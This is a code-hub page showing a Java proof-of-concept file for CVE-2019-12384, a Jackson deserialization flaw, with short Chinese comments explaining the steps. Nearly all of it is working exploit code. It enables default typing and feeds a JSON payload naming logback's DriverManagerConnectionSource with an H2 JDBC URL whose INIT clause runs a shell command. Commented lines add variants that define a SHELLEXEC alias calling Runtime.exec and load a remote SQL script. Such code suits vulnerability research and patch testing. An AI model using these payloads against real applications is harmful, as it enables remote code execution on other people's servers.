MCPcopy Create free account
hub / github.com/Firebasky/Java / CVE_2019_12384

Class CVE_2019_12384

jackson/src/main/java/com/firebasky/cve/CVE_2019_12384.java:6–22  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

4import java.io.IOException;
5
6public class CVE_2019_12384 {
7 //H2Rce
8 public static void main(String[] args) throws IOException {
9 ObjectMapper objectMapper = new ObjectMapper();
10 objectMapper.enableDefaultTyping();//开启 defaultTyping
11 String json = " [\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:file:~/.h2/test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CALL SHELLEXEC('calc');\"}]";
12 Object o = objectMapper.readValue(json, Object.class);//反序列化对象
13 String s = objectMapper.writeValueAsString(o);//
14
15 //"[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", "+"{\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8999/inject.sql'\"}]";
16
17 // ["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:file:~/.h2/test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS SHELLEXEC AS $$ void shellexec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd)\\; }$$;"}]
18 //同样使用文件存储模式,执行 CALL 命令调用函数 这样就省去了再去调用远程文件的问题
19 // ["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:file:~/.h2/test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CALL SHELLEXEC('calc');"}]
20
21 }
22}

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected